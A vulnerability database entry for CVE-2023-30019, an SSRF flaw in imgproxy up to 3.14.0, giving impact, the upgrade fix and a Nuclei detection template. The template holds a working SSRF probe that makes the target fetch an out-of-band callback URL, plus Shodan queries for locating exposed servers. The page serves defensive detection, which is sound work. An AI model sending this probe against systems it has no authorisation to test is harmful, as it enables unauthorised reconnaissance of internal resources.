Browse / CVEs / CVE-2023-30019
CVE-2023-30019· evilmartians / imgproxy· CWE-918
Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
mediumseverity
5.3CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it
imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
Fix
Upgrade to a version of Imgproxy that is not affected by this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}
Positive when: contains "Invalid source image" AND status 422Run it with nuclei: nuclei -id CVE-2023-30019 -u <target>
The full check
id: CVE-2023-30019
info:
name: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
author: DhiyaneshDK
severity: medium
description: |
imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
remediation: |
Upgrade to a version of Imgproxy that is not affected by this vulnerability.
reference:
- https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
- https://github.com/imgproxy/imgproxy
- https://github.com/j4k0m/godkiller
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-30019
cwe-id: CWE-918
epss-score: 0.02214
epss-percentile: 0.82768
cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: evilmartians
product: imgproxy
shodan-query:
- "Server: imgproxy"
- "server: imgproxy"
tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians,vuln
http:
- method: GET
path:
- "{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
words:
- Invalid source image
- type: status
status:
- 422References
- https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
- https://github.com/imgproxy/imgproxy
- https://github.com/j4k0m/godkiller
Use this check only on systems you are authorised to test. Where the data comes from